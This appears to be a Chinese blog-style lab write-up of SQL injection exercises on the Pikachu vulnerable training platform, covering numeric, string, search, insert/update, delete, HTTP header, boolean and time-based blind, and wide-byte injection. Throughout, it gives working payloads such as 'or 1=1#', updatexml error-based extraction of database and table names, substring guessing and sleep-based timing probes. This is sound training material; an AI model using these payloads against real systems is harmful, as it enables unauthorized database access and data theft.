Web实验 sql注入

Posted p201721410015

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Web实验 sql注入相关的知识,希望对你有一定的参考价值。

?

数字型注入(POST):

数据库使用数字进行查询,尝试3 or 3来选择全部

技术图片

技术图片

技术图片

字符型注入(GET):

技术图片

通过字符进行查询,用kobe‘ or ‘1‘=‘1尝试去掉查询字段两边的引号

技术图片

发现可以注入

搜索型注入:

?

技术图片

可能使用了like来确定查询范围

比如select 字段1,字段2 from 表名 where username like ‘%$name%‘

我们用

k%‘or 1=1#来进行尝试闭合

技术图片

XX型注入:

通过后台可以发现使用了括号括住查询字段

技术图片

我们对括号进行闭合

kobe‘) or 1=1#

技术图片

insert/update注入

我们先进行注册

?

?

技术图片

我们猜测这里执行的sql语句大概为:

Insert into user(name,password,sex,phone,address1,address2) value(‘1‘,‘1‘,‘1‘,‘1‘,‘1‘,‘1‘)

没有回显,所以我们构造错误信息来进行回显

构造payload

aaa‘ and 1=(updatexml(1,concat(0x3a,(select user())),1)))#技术图片

出现一下显示

技术图片

通过aaa‘ and 1=(updatexml(1,concat(0x3a,( database())),1)))#

获得数据库名

技术图片

通过aaa‘ and 1=(updatexml(1,concat(0x3a,( select table_name from information_schema.tables where table_schema=‘pikachu‘ limit 0,1)

)),1)))#进一步获得数据库里的表名

并以此类推进行sql查询,可以继续获得更多的信息。

delete注入:

技术图片

留言可以进行删除,可能存在这样的语句

delete from message where id=1

url里面有id信息所以尝试添加1 or updatexml(1, concat(0x7e,database()), 0)

http://172.22.249.92:88/pikachu/vul/sqli/sqli_del.php?id=59%20and%201=(updatexml(1,concat(0x3a,(select%20user())),1))

技术图片

产生了想要的信息,这样像之前一样一点一点获得信息就行。

?

http header注入:

技术图片

记录了http头的信息

?

Host: User-Agent: Accept: 三处

测试使用1‘ or updatexml(1, concat(0x7e, database()), 0) or ‘

技术图片

技术图片

回显成功

?

盲注:

?

?

输入kobe‘ and 1=1#

技术图片

输入kobe‘ and 1=2#

技术图片

?

我们发现这里的输出只有 用户名存在 用户名不存在 两种输出,所以前面基于报错的方式在这不能用

通过真假判断来尝试出数据库的有关信息

kobe‘ and length(database())>5#正确

kobe‘ and length(database())>6#正确

kobe‘ and length(database())>7#

技术图片

所以数据库名称长度为7

再用 substr() ascii() 判断数据库由哪些字母组成

Kobe‘ and ascii(substr(database(), 1, 1)) > 113#

kobe‘and ascii(substr(database(), 1, 1)) > 105#

通过这样的真假判断可以猜出数据库名,接着猜出表名,列明

盲注(based on time):

?

技术图片无论输入什么都是I don‘t care,这时我们通过看服务器响应时间查看是否有注入点

技术图片

可以看到确实相应了5

通过构造该语句kobe‘ and if((substr(database(), 1, 1))=‘p‘, sleep(5), null)#

来进行真假判断,逐个判断通过时间猜出信息

?

技术图片

?

宽字节注入:

?

输入kobe‘ or 1=1#但无效果

因为没有回显,所以先预判可以宽字节注入

因为在后台单引号会被转义,在数据库中执行时多了个反斜杠。我们可以用下面的payload,在单引号前面加上 %df生成""让单引号保留。

?

技术图片

可以看到成功进行注入。

?

以上是关于Web实验 sql注入的主要内容,如果未能解决你的问题,请参考以下文章

Web实验 sql注入

web实验三——pikachu之sql注入

实验吧-web 简单的sql注入(合集,答案是一样的--_--)

实验吧web加了料的报错注入

Pikachu漏洞练习平台实验——SQL注入

pikachu--SQL注入